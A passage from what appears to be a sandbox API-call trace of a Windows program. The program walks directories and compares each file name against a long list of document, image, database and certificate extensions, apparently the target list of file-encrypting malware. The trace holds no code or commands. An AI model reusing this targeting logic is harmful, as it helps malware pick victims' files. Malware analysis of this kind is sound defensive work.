(lpString1=".dcm", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dcr") returned 4 [0127.327] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".der") returned 4 [0127.327] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dib") returned 4 [0127.327] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dic") returned 4 [0127.327] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dif") returned 4 [0127.327] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".divx") returned 5 [0127.327] lstrcmpiW (lpString1=".divx", lpString2="d.xml") returned -1 [0127.327] lstrlenW (lpString=".djvu") returned 5 [0127.327] lstrcmpiW (lpString1=".djvu", lpString2="d.xml") returned -1 [0127.327] lstrlenW (lpString=".dng") returned 4 [0127.327] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".doc") returned 4 [0127.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".docm") returned 5 [0127.328] lstrcmpiW (lpString1=".docm", lpString2="d.xml") returned -1 [0127.328] lstrlenW (lpString=".docx") returned 5 [0127.328] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0127.328] lstrlenW (lpString=".dot") returned 4 [0127.328] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dotm") returned 5 [0127.328] lstrcmpiW (lpString1=".dotm", lpString2="d.xml") returned -1 [0127.328] lstrlenW (lpString=".dotx") returned 5 [0127.328] lstrcmpiW (lpString1=".dotx", lpString2="d.xml") returned -1 [0127.328] lstrlenW (lpString=".dpx") returned 4 [0127.328] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dqy") returned 4 [0127.328] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dsn") returned 4 [0127.328] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dt") returned 3 [0127.328] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0127.328] lstrlenW (lpString=".dtd") returned 4 [0127.328] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dwg") returned 4 [0127.328] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dwt") returned 4 [0127.328] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".dx") returned 3 [0127.328] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0127.328] lstrlenW (lpString=".dxf") returned 4 [0127.328] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".edml") returned 5 [0127.328] lstrcmpiW (lpString1=".edml", lpString2="d.xml") returned -1 [0127.328] lstrlenW (lpString=".efd") returned 4 [0127.328] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".elf") returned 4 [0127.328] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0127.328] lstrlenW (lpString=".emf") returned 4 [0127.329] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".emz") returned 4 [0127.329] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".epf") returned 4 [0127.329] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".eps") returned 4 [0127.329] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".epsf") returned 5 [0127.329] lstrcmpiW (lpString1=".epsf", lpString2="d.xml") returned -1 [0127.329] lstrlenW (lpString=".epsp") returned 5 [0127.329] lstrcmpiW (lpString1=".epsp", lpString2="d.xml") returned -1 [0127.329] lstrlenW (lpString=".erf") returned 4 [0127.329] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".exr") returned 4 [0127.329] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".f4v") returned 4 [0127.329] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".fido") returned 5 [0127.329] lstrcmpiW (lpString1=".fido", lpString2="d.xml") returned -1 [0127.329] lstrlenW (lpString=".flm") returned 4 [0127.329] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".flv") returned 4 [0127.329] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".frm") returned 4 [0127.329] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".fxg") returned 4 [0127.329] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".geo") returned 4 [0127.329] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".gif") returned 4 [0127.329] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".grs") returned 4 [0127.329] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0127.329] lstrlenW (lpString=".gz") returned 3 [0127.330] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0127.330] lstrlenW (lpString=".h") returned 2 [0127.330] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0127.330] lstrlenW (lpString=".hdr") returned 4 [0127.330] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".hpp") returned 4 [0127.330] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".hta") returned 4 [0127.330] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".htc") returned 4 [0127.330] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".htm") returned 4 [0127.330] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".html") returned 5 [0127.330] lstrcmpiW (lpString1=".html", lpString2="d.xml") returned -1 [0127.330] lstrlenW (lpString=".icb") returned 4 [0127.330] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".ics") returned 4 [0127.330] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".iff") returned 4 [0127.330] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".inc") returned 4 [0127.330] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".indd") returned 5 [0127.330] lstrcmpiW (lpString1=".indd", lpString2="d.xml") returned -1 [0127.330] lstrlenW (lpString=".ini") returned 4 [0127.330] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".iqy") returned 4 [0127.330] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".j2c") returned 4 [0127.330] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".j2k") returned 4 [0127.330] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0127.330] lstrlenW (lpString=".java") returned 5 [0127.330] lstrcmpiW (lpString1=".java", lpString2="d.xml") returned -1 [0127.330] lstrlenW (lpString=".jp2") returned 4 [0127.330] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".jpc") returned 4 [0127.331] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".jpe") returned 4 [0127.331] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".jpeg") returned 5 [0127.331] lstrcmpiW (lpString1=".jpeg", lpString2="d.xml") returned -1 [0127.331] lstrlenW (lpString=".jpf") returned 4 [0127.331] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".jpg") returned 4 [0127.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".jpx") returned 4 [0127.331] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".js") returned 3 [0127.331] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0127.331] lstrlenW (lpString=".jsf") returned 4 [0127.331] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".json") returned 5 [0127.331] lstrcmpiW (lpString1=".json", lpString2="d.xml") returned -1 [0127.331] lstrlenW (lpString=".jsp") returned 4 [0127.331] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".kdc") returned 4 [0127.331] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".kmz") returned 4 [0127.331] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".kwm") returned 4 [0127.331] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".lasso") returned 6 [0127.331] lstrcmpiW (lpString1=".lasso", lpString2="ad.xml") returned -1 [0127.331] lstrlenW (lpString=".lbi") returned 4 [0127.331] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".lgf") returned 4 [0127.331] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".lgp") returned 4 [0127.331] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0127.331] lstrlenW (lpString=".log") returned 4 [0127.331] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".m1v") returned 4 [0127.332] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".m4a") returned 4 [0127.332] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".m4v") returned 4 [0127.332] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".max") returned 4 [0127.332] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".md") returned 3 [0127.332] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0127.332] lstrlenW (lpString=".mda") returned 4 [0127.332] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mdb") returned 4 [0127.332] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mde") returned 4 [0127.332] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mdf") returned 4 [0127.332] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mdw") returned 4 [0127.332] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mef") returned 4 [0127.332] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mft") returned 4 [0127.332] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mfw") returned 4 [0127.332] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mht") returned 4 [0127.332] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mhtml") returned 6 [0127.332] lstrcmpiW (lpString1=".mhtml", lpString2="ad.xml") returned -1 [0127.332] lstrlenW (lpString=".mka") returned 4 [0127.332] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0127.332] lstrlenW (lpString=".mkidx") returned 6 [0127.332] lstrcmpiW (lpString1=".mkidx", lpString2="ad.xml") returned -1 [0127.332] lstrlenW (lpString=".mkv") returned 4 [0127.332] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0127.333] lstrlenW (lpString=".mos") returned 4 [0127.333] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0127.333] lstrlenW (lpString=".mov") returned 4 [0127.333] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mp3") returned 4 [0127.334] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mp4") returned 4 [0127.334] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mpeg") returned 5 [0127.334] lstrcmpiW (lpString1=".mpeg", lpString2="d.xml") returned -1 [0127.334] lstrlenW (lpString=".mpg") returned 4 [0127.334] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mpv") returned 4 [0127.334] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mrw") returned 4 [0127.334] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".msg") returned 4 [0127.334] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".mxl") returned 4 [0127.334] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".myd") returned 4 [0127.334] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".myi") returned 4 [0127.334] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".nef") returned 4 [0127.334] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".nrw") returned 4 [0127.334] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".obj") returned 4 [0127.334] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".odb") returned 4 [0127.334] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".odc") returned 4 [0127.334] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0127.334] lstrlenW (lpString=".odm") returned 4 [0127.335] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".odp") returned 4 [0127.335] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".ods") returned 4 [0127.335] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".oft") returned 4 [0127.335] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".one") returned 4 [0127.335] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".onepkg") returned 7 [0127.335] lstrcmpiW (lpString1=".onepkg", lpString2="pad.xml") returned -1 [0127.335] lstrlenW (lpString=".onetoc2") returned 8 [0127.335] lstrcmpiW (lpString1=".onetoc2", lpString2="xpad.xml") returned -1 [0127.335] lstrlenW (lpString=".opt") returned 4 [0127.335] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".oqy") returned 4 [0127.335] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".orf") returned 4 [0127.335] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".p12") returned 4 [0127.335] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".p7b") returned 4 [0127.335] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".p7c") returned 4 [0127.335] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".pam") returned 4 [0127.335] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".pbm") returned 4 [0127.335] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".pct") returned 4 [0127.335] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0127.335] lstrlenW (lpString=".pcx") returned 4 [0127.335] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pdd") returned 4 [0127.336] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pdf") returned 4 [0127.336] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pdp") returned 4 [0127.336] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pef") returned 4 [0127.336] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pem") returned 4 [0127.336] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pff") returned 4 [0127.336] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pfm") returned 4 [0127.336] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pfx") returned 4 [0127.336] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pgm") returned 4 [0127.336] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".php") returned 4 [0127.336] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".php3") returned 5 [0127.336] lstrcmpiW (lpString1=".php3", lpString2="d.xml") returned -1 [0127.336] lstrlenW (lpString=".php4") returned 5 [0127.336] lstrcmpiW (lpString1=".php4", lpString2="d.xml") returned -1 [0127.336] lstrlenW (lpString=".php5") returned 5 [0127.336] lstrcmpiW (lpString1=".php5", lpString2="d.xml") returned -1 [0127.336] lstrlenW (lpString=".phtml") returned 6 [0127.336] lstrcmpiW (lpString1=".phtml", lpString2="ad.xml") returned -1 [0127.336] lstrlenW (lpString=".pict") returned 5 [0127.336] lstrcmpiW (lpString1=".pict", lpString2="d.xml") returned -1 [0127.336] lstrlenW (lpString=".pl") returned 3 [0127.336] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0127.336] lstrlenW (lpString=".pls") returned 4 [0127.336] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0127.336] lstrlenW (lpString=".pm") returned 3 [0127.336] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0127.337] lstrlenW (lpString=".png") returned 4 [0127.337] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".pnm") returned 4 [0127.337] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".pot") returned 4 [0127.337] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".potm") returned 5 [0127.337] lstrcmpiW (lpString1=".potm", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".potx") returned 5 [0127.337] lstrcmpiW (lpString1=".potx", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".ppa") returned 4 [0127.337] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".ppam") returned 5 [0127.337] lstrcmpiW (lpString1=".ppam", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".ppm") returned 4 [0127.337] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".pps") returned 4 [0127.337] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".ppsm") returned 5 [0127.337] lstrcmpiW (lpString1=".ppsm", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".ppt") returned 4 [0127.337] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".pptm") returned 5 [0127.337] lstrcmpiW (lpString1=".pptm", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".pptx") returned 5 [0127.337] lstrcmpiW (lpString1=".pptx", lpString2="d.xml") returned -1 [0127.337] lstrlenW (lpString=".prn") returned 4 [0127.337] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".ps") returned 3 [0127.337] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0127.337] lstrlenW (lpString=".psb") returned 4 [0127.337] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".psd") returned 4 [0127.337] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".pst") returned 4 [0127.337] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0127.337] lstrlenW (lpString=".ptx") returned 4 [0127.338] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".pub") returned 4 [0127.338] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".pwm") returned 4 [0127.338] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".pxr") returned 4 [0127.338] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".py") returned 3 [0127.338] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0127.338] lstrlenW (lpString=".qt") returned 3 [0127.338] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0127.338] lstrlenW (lpString=".r3d") returned 4 [0127.338] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".raf") returned 4 [0127.338] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".rar") returned 4 [0127.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.338] lstrlenW (lpString=".raw") returned 4 [0127.338] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0127.338] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0127.338] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4299fc0 [0127.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8f3770 [0127.338] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.338] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0127.339] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0127.339] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0127.339] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0127.339] FindClose (in: hFindFile=0x8f3770 | out: hFindFile=0x8f3770) returned 1 [0127.339] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4299fc0 | out: hHeap=0x880000) returned 1 [0127.339] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0127.339] lstrlenW (lpString="keypad.xml") returned 10 [0127.339] lstrlenW (lpString=".1cd") returned 4 [0127.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".3ds") returned 4 [0127.340] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".3fr") returned 4 [0127.340] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".3g2") returned 4 [0127.340] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".3gp") returned 4 [0127.340] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".7z") returned 3 [0127.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.340] lstrlenW (lpString=".accda") returned 6 [0127.340] lstrcmpiW (lpString1=".accda", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".accdb") returned 6 [0127.340] lstrcmpiW (lpString1=".accdb", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".accdc") returned 6 [0127.340] lstrcmpiW (lpString1=".accdc", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".accde") returned 